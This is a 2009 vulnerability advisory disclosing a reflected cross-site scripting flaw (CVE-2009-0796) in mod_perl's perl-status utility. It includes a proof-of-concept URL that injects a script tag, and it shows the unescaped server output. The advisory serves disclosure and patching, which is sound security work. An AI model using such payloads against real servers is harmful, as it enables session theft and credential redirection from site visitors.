by

XSS with mod_perl perl_status utility

Vulnerability found:
28 February 2009


Vendor informed:
01 March 2009


Severity level:
Medium/High


Credits:
Richard Brain of ProCheckUp Ltd (www.procheckup.com).


Description:
There is a Cross-site Scripting vulnerability on Mod_perl's, perl-status utility. The perl-status utility on request displays the current status of the Mod_perl server, and some configuration information. Perl-status when configured to allow any viewers, presents an information disclosure risk,
Procheckup has found by making a malformed request to perl-status, that additionally a vanilla cross site scripting (XSS) attack is possible.

CVE reference

CVE-2009-0796

BID

34383


Proof of concept:
Submitting the following string to an unpatched server "server".
http://server:80/perl-status/APR::SockAddr::port/%22%3E%3Cscript%3Ealert(1)%3C/script%3E

The following is returned:-
<p><a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?env">Environment</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inc">Loaded Modules</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?inh_tree">Inheritance Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?isa_tree">ISA Tree</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?myconfig">Perl Configuration</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?rgysubs">Compiled Registry Scripts</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?script">PerlRequire'd Files</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?sig">Signal Handlers</a><br />
<a href="/perl-status/APR::SockAddr::port/"><script>alert(1)</script>?symdump">Symbol Table Dump</a><br />
</p></body></html>

An attacker may be able to cause execution of malicious scripting code in the browser of a user who clicks on a link or visits a malicious webpage. The malicious code would run in the security context of the vulnerable website.

This type of attack can result in non-persistent defacement of the target site, or the redirection of confidential information (i.e.: passwords or session IDs) to unauthorised third parties.


How to fix:
Many thanks to Torsten Foertsch for his kind assistance in fixing the bug.
http://perl.apache.org/


Legal:
Copyright 2009 Procheckup Ltd. All rights reserved.

Permission is granted for copying and circulating this Bulletin to the Internet community for the purpose of alerting them to problems, if and only if, the Bulletin is not edited or changed in any way, is attributed to Procheckup, and provided such reproduction and/or distribution is performed for non-commercial purposes.

Any other use of this information is prohibited. Procheckup is not liable for any misuse of this information by any third party.